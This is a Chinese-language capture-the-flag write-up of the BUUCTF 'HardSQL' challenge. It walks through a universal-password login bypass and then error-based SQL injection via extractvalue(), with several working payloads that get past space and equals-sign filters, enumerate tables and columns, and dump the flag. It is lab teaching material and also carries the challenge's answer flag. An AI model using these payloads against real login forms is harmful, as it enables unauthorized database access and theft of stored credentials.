[极客大挑战 2019]HardSQL
先尝试登录,查看报错信息
- admin =111 password =1111 登录失败
- admin =111 password =1’or’1 登录成功
这里直接试了万能密码成功,复习一下,第一个 ’ 是为了闭合前面的sql语句,最后的1后面没有 ’ 是因为默认情况下,通常sql语句会以’ 结尾,我们注入的是’1,实际解析出来就是’1’,不会报错。
参考文章:万能密码‘or’的原理
然后尝试将 or 后面的1换成查库、查表、等等查询语句,提示显然被过滤了,卡住
做不出来,搜wp,SQL注入通常的思路是联合查询,如果尝试都被过滤,或者查询不到任何内容,那应该要考虑“报错注入”的方式。
SQL注入之报错注入
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理
BUUCTF-[极客大挑战 2019]HardSQL 1详解
报错注入通常是利用非法语句产生报错并返回报错的内容,当报错一般会返回报错的内容是什么,当返回内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行
此题尝试使用
extractvalue(xml_document.Xpath_string)
作用:
查询一个名叫“xml_document”的文档
路径为“Xpath_string”
构造注入语句
extractvalue(1,concat(‘0x7e’,select(database())))%23
'or extractvalue() 中间的这个空格也会被过滤,再查wp
用’^'来连接函数,形成异或
?username=111&password=1111'^extractvalue
失败,检查一下括号少了,(select(database()))要括起来
爆出库名:geek
爆破表名,sql语句之间的空格用()代替,=号用like代替,构造:
?username=111&password=1111'^extractvalue(1,concat('0x7e',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek"))))%23
表名:H4rDsq1
爆破字段内容:
select group_concat(column_name) from information_schema.columns where table_schema=database()
#这里原代码表名变量叫'table_schema',但本题中必须输入'table_name',检查半天非常无语
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))))%23
继续查找flag:
?username=111&password=111'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23
获得:flag{327111be-7867-495c-872d-51
‘}’不见了,flag应该还有一半未显示
使用right(value,str_length)函数
?username=111&password=111’^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23
获得:e-7867-495c-872d-511f0cc4fc08}
拼接flag{327111be-7867-495c-872d-51e-7867-495c-872d-511f0cc4fc08}
提交错误
中间应该还有几个字符,调整right函数的第二个参数控制显示长度,后半部分是‘7111be’开头
才发现这个flag很短。。
flag{327111be-7867-495c-872d-511f0cc4fc08}
提交正确